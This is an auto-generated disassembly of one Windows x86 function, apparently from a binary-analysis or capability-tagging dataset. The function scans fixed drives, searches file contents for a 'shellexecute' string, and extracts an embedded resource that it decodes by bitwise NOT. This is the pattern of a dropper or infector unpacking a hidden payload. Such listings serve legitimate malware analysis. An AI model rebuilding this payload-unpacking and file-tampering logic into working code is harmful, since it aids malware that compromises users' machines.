Function at 0x41ddea
Capabilities:
Extract resource via kernel32 functions
Get disk information

Disassembly:
mov eax, 0x433580
call fcn.004269c8
sub esp, 0x5ac
mov eax, dword [0x44de90]
push ebx
push esi
push edi
mov esi, str.shellexecute
lea edi, [ebp - 0x78]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], esp
xor ebx, ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x14], eax
push 0x15
pop ecx
xor eax, eax
lea edi, [ebp - 0x6a]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x298], ebx
stosw word es:[edi], ax
mov byte [ebp - 0x5ad], 0x41
mov esi, 0x80
mov al, byte [ebp - 0x5ad]
cmp al, 0x5a
jg 0x41e05d
mov byte [ebp - 0x3a4], al
mov eax, 0x43f804
push eax
lea eax, [ebp - 0x3a4]
push eax
mov byte [ebp - 0x3a3], bl
call fcn.00425610
pop ecx
pop ecx
lea eax, [ebp - 0x3a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x41e105
mov eax, 0x434870
push eax
lea eax, [ebp - 0x3a4]
push eax
call fcn.00425610
lea eax, [ebp - 0x3a4]
push eax
call fcn.0041990f
add esp, 0xc
test al, al
je 0x41e105
lea eax, [ebp - 0x3a4]
push eax
lea ecx, [ebp - 0x18c]
call fcn.00418400
lea ecx, [ebp - 0x18c]
call fcn.0041841d
lea ecx, [ebp - 0x18c]
call fcn.004183da
cmp eax, ebx
jne 0x41e05d
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov edi, eax
cmp edi, ebx
je 0x41e0fa
lea eax, [ebp - 0x78]
push eax
call fcn.00425700
add edi, eax
pop ecx
mov dword [ebp - 0x5b4], edi
lea ecx, [ebp - 0x18c]
call fcn.00418412
mov edx, dword [ebp - 0x7c]
lea ecx, [edi + 1]
add eax, edx
cmp ecx, eax
jae 0x41df29
cmp byte [edi], 0xd
jne 0x41df25
cmp byte [ecx], 0xa
je 0x41df29
mov edi, ecx
jmp 0x41df04
sub edi, dword [ebp - 0x5b4]
lea eax, [ebp - 0x5ac]
push edi
push dword [ebp - 0x5b4]
push eax
call fcn.00425790
mov al, byte [ebp - 0x5ad]
mov byte [ebp - 0x4a8], al
mov eax, 0x43f804
push eax
lea eax, [ebp - 0x4a8]
push eax
mov byte [ebp + edi - 0x5ac], bl
mov byte [ebp - 0x4a7], bl
call fcn.00425610
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x4a8]
push eax
call fcn.00425610
lea eax, [ebp - 0x4a8]
push eax
call fcn.0041990f
add esp, 0x20
test al, al
je 0x41e0fa
push 0xa
push 0xe6
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebx
je 0x41e0fa
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 0x5b4], eax
je 0x41e0fa
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 0x5b8], eax
je 0x41e0ee
push 4
push 0x1000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, ebx
je 0x41e0ee
push esi
push dword [ebp - 0x5b8]
push edi
call fcn.00425790
add esp, 0xc
xor eax, eax
cmp eax, esi
jae 0x41e00d
not byte [eax + edi]
inc eax
jmp 0x41e003
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00418400
lea ecx, [ebp - 0x2a0]
call fcn.0041841d
lea ecx, [ebp - 0x2a0]
call fcn.004183da
cmp eax, ebx
je 0x41e076
push dword [ebp - 0x5b4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [ebp - 0x18c]
call fcn.004183de
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00425221
pop edi
pop esi
pop ebx
leave
ret
add dword [ebp - 0x190], 0x2500
push esi
push edi
push dword [ebp - 0x190]
call fcn.00425540
add esp, 0xc
test eax, eax
jne 0x41e0c8
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x5b4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea ecx, [ebp - 0x18c]
call fcn.004183de
lea ecx, [ebp - 0x2a0]
call fcn.004183de
xor eax, eax
inc eax
jmp 0x41e05f
lea ecx, [ebp - 0x2a0]
call fcn.004183de
push dword [ebp - 0x5b4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x41e0fa
push dword [ebp - 0x5b4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea ecx, [ebp - 0x18c]
call fcn.004183de
inc byte [ebp - 0x5ad]
jmp 0x41de3e